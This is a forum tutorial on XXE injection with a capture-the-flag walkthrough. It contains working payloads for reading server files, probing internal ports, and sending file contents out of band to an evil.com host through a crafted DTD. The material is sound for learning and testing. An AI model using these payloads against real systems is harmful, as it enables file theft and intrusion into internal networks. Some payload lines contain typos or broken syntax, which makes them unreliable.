XXE Vulnerability Introduction and Exploitation Techniques

enhackapt · Jan 17, 2025

0x00 Preface

This morning I saw an article on a public account that said they found a Starbucks XXE vulnerability and got a bonus. I decided to take a look at this hole in the evening.

XXE vulnerability introduction and exploitation techniques-1.png

XXE is also known as XML External Entity Injection

Simply put, XXE is XML external entity injection. When external entities are allowed to be referenced, malicious content can be constructed to cause arbitrary file reading, system command execution, intranet port detection, and attacks on intranet websites.
For example, if the program you are currently using is PHP, you can set libxml_disable_entity_loader to TRUE to disable external entities, thereby achieving a defensive purpose.

XML Basics
Before introducing the xxe vulnerability, let's review the basics of XML. XML is designed to transmit and store data, with the focus on the content of the data. It separates data from HTML and is an information transmission tool independent of software and hardware.

<!ENTITY entity name"entity value"> External entity: <!ENTITY entity nameSYSTEM "URI"> Parameter entity: <!ENTITY % entity name "entity value"> or <!ENTITY % entity nameSYSTEM "URI"> Example demonstration: entities other than parameter entities + internal entities <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY name "nMask">]> <foo> <value>&name;</value> </foo> Example demonstration: parameter entity + external entity <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]> Note: %name (parameter entity) is referenced in DTD, while &name (rest of entity) is referenced in XML document. Since xxe vulnerability mainly exploits the vulnerability caused by DTD referencing external entities, let's focus on what types of external entities can be referenced. External entity An external entity is an entity that uses the <!ENTITY entity name SYSTEM "URI"> syntax in DTD to reference an external entity rather than an internal entity. So what types of external entities can be written in a URL? The main ones are file, http, https, ftp, etc. Of course, different programs support different ones: Example demonstration: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ //Define an external name <!ENTITY content SYSTEM "file:///etc/passwd">]> // SYSTEM "file:///xxxx" is used to read files <foo> //Define a tag The tag name can be entered arbitrarily, or it can correspond to the external name <value>&content;</value> </foo> Must have Content-Type:application/xml header. If the request header is similar to: Content-Type: application/json, then you can change it to Content-Type: application/xml to see if there is an XML vulnerability. 

Here is a CTF question. The XXE built by BWAPP seems to have a problem. The result obtained by using the same operation as the article does not match

XXE vulnerability introduction and exploitation techniques-2.png

QCoD1A.pngTitle

address: web.jarvisoj.com:9882

XXE vulnerability introduction and exploitation techniques-3.png

QCoWtg.png

captured the packet and found the following request

XXE vulnerability introduction and exploitation techniques-4.png

QCooXq.pngChange

Content-Type to Content-Type: application/xml, and send the following content to detect whether XXE exists

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE sb [ <!ENTITY xxe "XXE Test"> //XXE Test is the output content, xxe can be understood as a variable ]> <em> //Just give it a random name &xxe; //Understand it as a reference to the variable address output </em>

XXE vulnerability introduction and exploitation techniques-5.png

Read file test

XXE vulnerability introduction and exploitation techniques-6.png

QC7EZV.png

reads the flag file

XXE vulnerability introduction and exploitation techniques-7.png

QC72WQ.pngSince

this is a py environment, there is no way to test more

HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 44 Server: Werkzeug/0.9.4 Python/2.7.6 Date: Wed, 27 Nov 2019 15:37:08 GMT CTF{XxE_15_n0T_S7range_Enough} 

It is directly listed here that

the ML document is parsed using PHP, so you can also use the php://filter protocol to read it. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini"> ]> <root><foo>&content;</foo></root> Port Scanning There are two ways to load external DTDs, one is private and the other is public. Private type DTD loading: <!ENTITY private_dtd SYSTEM "DTD_location"> Public type DTD loading: <!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location"> When public type DTD is loaded, DTD_name will be used to search first. If it cannot be found, DTD_location will be used to find this public DTD. DTD_location can be used for intranet detection under certain circumstances. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY portscan SYSTEM " http://localhost:3389 "> ]> <root><foo>& ;portscan;</foo></root> blind xxe vulnerability: For traditional XXE, attackers can use XXE vulnerabilities to read server-side files only when the server has an echo or an error. If there is no echo, the Blind XXE vulnerability can be used to build an out-of-band channel to extract data. Use DTD for data echo Sometimes there is no echo when reading a file. In this case, the characteristics of the DTD parameter entity can be used to splice the file content into the URL to achieve the effect of reading the file. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM " http://192.168.1.100:8000/evil.dtd "> %dtd; %send;]> <root></root> evil.dtd <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>"> %payload; In evil.dtd, concatenate the contents of the %file entity to the URL, and then use tools such as burp to view the URL request to get the content we need

XXE Vulnerability Introduction and Exploitation Techniques

enhackapt

Administrator

0x00 Preface

Forum statistics

Newest members

Members online

关于我们

XXE Vulnerability Introduction and Exploitation Techniques

enhackapt

Administrator

0x00 Preface​

Forum statistics

Newest members

Members online

关于我们

0x00 Preface